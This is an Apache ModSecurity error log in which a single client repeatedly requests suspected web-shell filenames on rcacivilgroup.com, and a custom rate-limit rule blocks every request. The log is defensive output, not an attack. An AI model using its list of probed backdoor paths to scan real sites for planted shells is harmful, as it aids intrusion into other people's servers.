[Thu Apr 16 23:00:51.675719 2026] [:error] [pid 29603:tid 29612] [client 20.203.186.201:61054] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "aeD5o1fGOR6fpTWUAzq08QAAAQc"]
[Thu Apr 16 23:00:52.277969 2026] [:error] [pid 57639:tid 57670] [client 20.203.186.201:35893] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "aeD5pKMCQoTw7TsxWun_ZwAAANg"]
[Thu Apr 16 23:00:52.817465 2026] [:error] [pid 57639:tid 57660] [client 20.203.186.201:35883] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "aeD5pKMCQoTw7TsxWun_awAAAM4"]
[Thu Apr 16 23:00:53.389795 2026] [:error] [pid 57639:tid 57669] [client 20.203.186.201:46969] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "aeD5paMCQoTw7TsxWun_cAAAANc"]
[Thu Apr 16 23:00:53.910418 2026] [:error] [pid 57639:tid 57658] [client 20.203.186.201:16936] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "aeD5paMCQoTw7TsxWun_dgAAAMw"]
[Thu Apr 16 23:00:54.433906 2026] [:error] [pid 57536:tid 57552] [client 20.203.186.201:25768] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "aeD5piQU4faGja6jpDutlgAAAAQ"]
[Thu Apr 16 23:00:54.988426 2026] [:error] [pid 57536:tid 57562] [client 20.203.186.201:46995] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "aeD5piQU4faGja6jpDutmAAAAA4"]
[Thu Apr 16 23:00:55.522883 2026] [:error] [pid 57639:tid 57664] [client 20.203.186.201:47035] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "aeD5p6MCQoTw7TsxWun_eQAAANI"]
[Thu Apr 16 23:00:56.014464 2026] [:error] [pid 57536:tid 57571] [client 20.203.186.201:46963] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "aeD5qCQU4faGja6jpDutmQAAABc"]
[Thu Apr 16 23:00:56.563565 2026] [:error] [pid 57537:tid 57590] [client 20.203.186.201:40500] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "aeD5qFVQRS8nm73ENAnMjwAAAE8"]
[Thu Apr 16 23:00:57.174649 2026] [:error] [pid 49094:tid 49101] [client 20.203.186.201:62068] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "aeD5qTbDwvcXorHR_MwfZwAAAUU"]
[Thu Apr 16 23:00:57.713988 2026] [:error] [pid 57536:tid 57553] [client 20.203.186.201:62062] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "aeD5qSQU4faGja6jpDutngAAAAU"]
[Thu Apr 16 23:00:58.233761 2026] [:error] [pid 57538:tid 57611] [client 20.203.186.201:20901] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "aeD5qsuMaiEF5SVR2Bf8QwAAAIk"]
[Thu Apr 16 23:00:58.790466 2026] [:error] [pid 57639:tid 57653] [client 20.203.186.201:46954] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "aeD5qqMCQoTw7TsxWun_gwAAAMc"]
[Thu Apr 16 23:00:59.302588 2026] [:error] [pid 57639:tid 57658] [client 20.203.186.201:61013] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "aeD5q6MCQoTw7TsxWun_hgAAAMw"]
[Thu Apr 16 23:00:59.780933 2026] [:error] [pid 57639:tid 57647] [client 20.203.186.201:40502] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "aeD5q6MCQoTw7TsxWun_iAAAAME"]
[Thu Apr 16 23:01:00.371433 2026] [:error] [pid 57639:tid 57648] [client 20.203.186.201:61019] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "aeD5rKMCQoTw7TsxWun_jgAAAMI"]
[Thu Apr 16 23:01:00.891853 2026] [:error] [pid 57536:tid 57571] [client 20.203.186.201:46999] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "aeD5rCQU4faGja6jpDutqwAAABc"]
[Thu Apr 16 23:01:01.401388 2026] [:error] [pid 57639:tid 57653] [client 20.203.186.201:40453] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "aeD5raMCQoTw7TsxWun_kgAAAMc"]
[Thu Apr 16 23:01:01.970715 2026] [:error] [pid 57538:tid 57625] [client 20.203.186.201:46983] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "aeD5rcuMaiEF5SVR2Bf8SQAAAJc"]
[Thu Apr 16 23:01:02.477437 2026] [:error] [pid 57538:tid 57617] [client 20.203.186.201:40452] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "aeD5rsuMaiEF5SVR2Bf8SwAAAI8"]
[Thu Apr 16 23:01:02.952021 2026] [:error] [pid 57536:tid 57560] [client 20.203.186.201:16916] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "aeD5riQU4faGja6jpDuttwAAAAw"]
[Thu Apr 16 23:01:03.517902 2026] [:error] [pid 29603:tid 29619] [client 20.203.186.201:46912] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "aeD5r1fGOR6fpTWUAzq09gAAAQ4"]
[Thu Apr 16 23:01:04.128530 2026] [:error] [pid 57639:tid 57655] [client 20.203.186.201:46951] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "aeD5sKMCQoTw7TsxWun_kwAAAMk"]
[Thu Apr 16 23:01:04.675718 2026] [:error] [pid 57639:tid 57667] [client 20.203.186.201:21538] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "aeD5sKMCQoTw7TsxWun_lwAAANU"]
[Thu Apr 16 23:01:05.208740 2026] [:error] [pid 57639:tid 57656] [client 20.203.186.201:46923] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "aeD5saMCQoTw7TsxWun_mwAAAMo"]
[Thu Apr 16 23:01:05.710849 2026] [:error] [pid 57536:tid 57567] [client 20.203.186.201:25779] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "aeD5sSQU4faGja6jpDutxgAAABM"]
[Thu Apr 16 23:01:06.191292 2026] [:error] [pid 57639:tid 57659] [client 20.203.186.201:35845] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "aeD5sqMCQoTw7TsxWun_ngAAAM0"]
[Thu Apr 16 23:01:06.708993 2026] [:error] [pid 57536:tid 57555] [client 20.203.186.201:61038] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "aeD5siQU4faGja6jpDutzAAAAAc"]
[Thu Apr 16 23:01:07.253921 2026] [:error] [pid 57536:tid 57572] [client 20.203.186.201:41502] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "aeD5syQU4faGja6jpDutzwAAABg"]
[Thu Apr 16 23:01:07.768829 2026] [:error] [pid 57536:tid 57567] [client 20.203.186.201:62039] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "aeD5syQU4faGja6jpDut0QAAABM"]
[Thu Apr 16 23:01:08.238893 2026] [:error] [pid 57639:tid 57658] [client 20.203.186.201:41501] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "aeD5tKMCQoTw7TsxWun_qAAAAMw"]
[Thu Apr 16 23:01:08.709691 2026] [:error] [pid 57536:tid 57568] [client 20.203.186.201:35891] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "aeD5tCQU4faGja6jpDut1QAAABQ"]
[Thu Apr 16 23:01:09.180549 2026] [:error] [pid 49094:tid 49104] [client 20.203.186.201:46934] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "aeD5tTbDwvcXorHR_MwfiwAAAUg"]
[Thu Apr 16 23:01:09.650777 2026] [:error] [pid 57536:tid 57549] [client 20.203.186.201:16931] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "aeD5tSQU4faGja6jpDut2gAAAAE"]
[Thu Apr 16 23:01:10.211806 2026] [:error] [pid 57536:tid 57548] [client 20.203.186.201:40456] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "aeD5tiQU4faGja6jpDut3AAAAAA"]
[Thu Apr 16 23:01:10.808996 2026] [:error] [pid 49094:tid 49103] [client 20.203.186.201:35873] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "aeD5tjbDwvcXorHR_MwfmAAAAUc"]
[Thu Apr 16 23:01:11.311929 2026] [:error] [pid 57536:tid 57568] [client 20.203.186.201:35846] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "aeD5tyQU4faGja6jpDut4gAAABQ"]
[Thu Apr 16 23:01:11.815319 2026] [:error] [pid 57639:tid 57648] [client 20.203.186.201:47005] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "aeD5t6MCQoTw7TsxWun_sgAAAMI"]
[Thu Apr 16 23:01:12.400656 2026] [:error] [pid 57639:tid 57657] [client 20.203.186.201:46944] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "aeD5uKMCQoTw7TsxWun_tQAAAMs"]
[Thu Apr 16 23:01:12.907972 2026] [:error] [pid 57639:tid 57668] [client 20.203.186.201:40476] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "aeD5uKMCQoTw7TsxWun_ugAAANY"]
[Thu Apr 16 23:01:13.473757 2026] [:error] [pid 57538:tid 57614] [client 20.203.186.201:46940] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "aeD5ucuMaiEF5SVR2Bf8UgAAAIw"]
[Thu Apr 16 23:01:13.945582 2026] [:error] [pid 57639:tid 57665] [client 20.203.186.201:35843] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "aeD5uaMCQoTw7TsxWun_uwAAANM"]
[Thu Apr 16 23:01:14.450809 2026] [:error] [pid 49094:tid 49117] [client 20.203.186.201:40468] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "aeD5ujbDwvcXorHR_MwfqgAAAVU"]
[Thu Apr 16 23:01:15.017328 2026] [:error] [pid 57639:tid 57655] [client 20.203.186.201:21516] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "aeD5u6MCQoTw7TsxWun_vQAAAMk"]
[Thu Apr 16 23:01:15.567560 2026] [:error] [pid 7880:tid 7907] [client 20.203.186.201:62022] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "aeD5u6aezm4fSGc0yULQBwAAAZY"]
[Thu Apr 16 23:01:16.076188 2026] [:error] [pid 49094:tid 49102] [client 20.203.186.201:21567] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "aeD5vDbDwvcXorHR_MwfuQAAAUY"]
[Thu Apr 16 23:01:16.583360 2026] [:error] [pid 57639:tid 57657] [client 20.203.186.201:46974] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "aeD5vKMCQoTw7TsxWun_xAAAAMs"]
[Thu Apr 16 23:01:17.178206 2026] [:error] [pid 57536:tid 57563] [client 20.203.186.201:46930] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "aeD5vSQU4faGja6jpDut6wAAAA8"]
[Thu Apr 16 23:01:17.724296 2026] [:error] [pid 57536:tid 57556] [client 20.203.186.201:35415] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "aeD5vSQU4faGja6jpDut7gAAAAg"]
[Thu Apr 16 23:01:18.250195 2026] [:error] [pid 57537:tid 57586] [client 20.203.186.201:35437] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "aeD5vlVQRS8nm73ENAnMmQAAAEs"]
[Thu Apr 16 23:01:18.821513 2026] [:error] [pid 57639:tid 57670] [client 20.203.186.201:62049] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "aeD5vqMCQoTw7TsxWun_ywAAANg"]
[Thu Apr 16 23:01:19.372088 2026] [:error] [pid 57639:tid 57663] [client 20.203.186.201:46990] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "aeD5v6MCQoTw7TsxWun_0gAAANE"]
[Thu Apr 16 23:01:19.951713 2026] [:error] [pid 57639:tid 57647] [client 20.203.186.201:35394] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "aeD5v6MCQoTw7TsxWun_1AAAAME"]
[Thu Apr 16 23:01:20.426908 2026] [:error] [pid 57639:tid 57657] [client 20.203.186.201:25750] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "aeD5wKMCQoTw7TsxWun_1QAAAMs"]
[Thu Apr 16 23:01:20.955607 2026] [:error] [pid 57536:tid 57565] [client 20.203.186.201:62049] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "aeD5wCQU4faGja6jpDut8gAAABE"]
